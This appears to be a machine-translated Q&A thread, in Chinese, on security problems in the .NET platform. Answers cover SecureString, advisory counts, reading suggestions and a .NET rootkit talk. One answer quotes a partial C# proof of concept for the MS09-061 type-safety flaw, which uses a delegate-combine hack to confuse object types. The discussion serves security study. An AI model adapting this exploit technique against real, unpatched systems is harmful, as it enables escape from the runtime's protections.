我正在研究.NET安全性。大多数消息来源只描述了.NET安全机制,但是甚至没有任何可能的漏洞或事情要记住。你知道.NET平台上的任何安全问题吗?
答案 0 :(得分:5)
.NET世界中安全问题的主要来源是使用它的开发人员。使用任何框架编写应用程序都很容易,.NET框架也不是更好。
除此之外,我能想到的唯一主要问题是使用String而不是SecureString来存储敏感数据(如密码)的所有控件。 .NET框架的每个版本都比上一个版本好,但我认为仍有几个常用控件不使用它们。
SecureString可以被认为是存储在加密内存中的String,在使用后会从内存中删除。由于.NET中的字符串是不可变的,因此任何新字符串都将存储在共享位置的内存中,以便具有相同值的新字符串可以共享该内存位置。这意味着存储在字符串中的敏感数据相对容易掌握。
答案 1 :(得分:4)
您可以查看Secunia。它们显示了.NET 2.0的14个漏洞,未修补为零。
答案 2 :(得分:3)
你真的需要查看Keith Brown的excellent book on the topic,这是一个很好的起点。到目前为止已经10岁了,但概念没有改变。
答案 3 :(得分:0)
对于一个非常有趣但不一定可利用的(因为你无论如何都需要root访问权限),请查看Erez Metula的this talk at this year's Blackhat(嗯,现在正在进行),使用一些技术来破解。 .NET Framework并实现“.NET Rootkit”。
答案 4 :(得分:0)
以下是MS09-061的漏洞利用。
在我的示例类型安全漏洞中,我 使用工会来绕过类型安全。 那不是一个真正的安全 漏洞因为这样的联盟 需要完全信任。但是,如果我们 可以结合两个不同的代表 类型,我们可以做同样的,因为 缺少类型检查这是 可能的。
如果你选择TypeSafetyExploitPoC.cs 并替换TypeSystemHole方法 用以下内容添加引用 到包含的程序集 CombinePoCHelper.il(用MSIL编写 因为那是最简单的方法 编写自己的MulticastDelegate 可以调用受保护的子类 CombineImpl方法)。
delegate void AnotherDelegate(Union1 u2);
static Union1 TypeSystemHole(Union2 u2)
{
Union1 u1 = null;
CombineHelper del1 = delegate { };
AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
del1(u2);
return u1;
}
这种情况再次发生的可能性很低恕我直言。